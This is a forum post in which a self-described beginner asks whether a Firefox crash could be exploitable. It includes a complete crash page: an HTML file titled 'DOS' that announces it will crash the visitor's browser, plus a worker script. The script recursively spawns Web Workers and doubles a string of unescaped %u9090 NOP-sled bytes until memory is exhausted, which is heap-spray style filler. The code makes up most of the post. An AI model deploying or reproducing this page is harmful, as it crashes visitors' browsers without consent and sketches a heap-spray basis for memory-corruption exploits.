Hello Sla.ckers,
This is my first post so please take it easy on me, I'm still learning. I have a question regarding debugging firefox. I have loaded the symbols from the symbol server and have some debug output; however, I am not sure what I am looking at. I am curious if this code might lead to a possible exploit? I have read a little on the recent heap spray and buffer overflow exploits on firefox and was thinking this might be along those lines. Once again I am a newbie, so if you could point me in the right direction to research I would appreciate it. My code:
index.html
-------------------------------------------
<!DOCTYPE HTML>
<html>
<head>
<title>DOS</title>
</head>
<body>
<p><h1>Please Wait, while I CRASH your Browser; it should not take long :)...</h1>:</p><div id="result"></div>
<script type="text/javascript">
var worker = new Worker("workCRASH.js");
// Watch for messages from the worker
worker.onmessage = function(event)
{
// The message from the client:
document.getElementById("result").textContent = event.data;
};
var buf = unescape("AAAAAAAAAAAAAAAAAA%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
worker.postMessage(buf);
</script>
</body>
</html>
workCRASH.js
-------------------------------------------------
onmessage = function(event){
var worker = new Worker("workCRASH.js");
worker.onmessage = function(event)
{
worker.postMessage(event.data.concat(event.data));
postMessage(event.data.concat(event.data));
};
worker.postMessage(event.data.concat(event.data));
postMessage(event.data.concat(event.data));
}

Sorry for the long post... Just trying to learn here.
Thanks for the help and input.
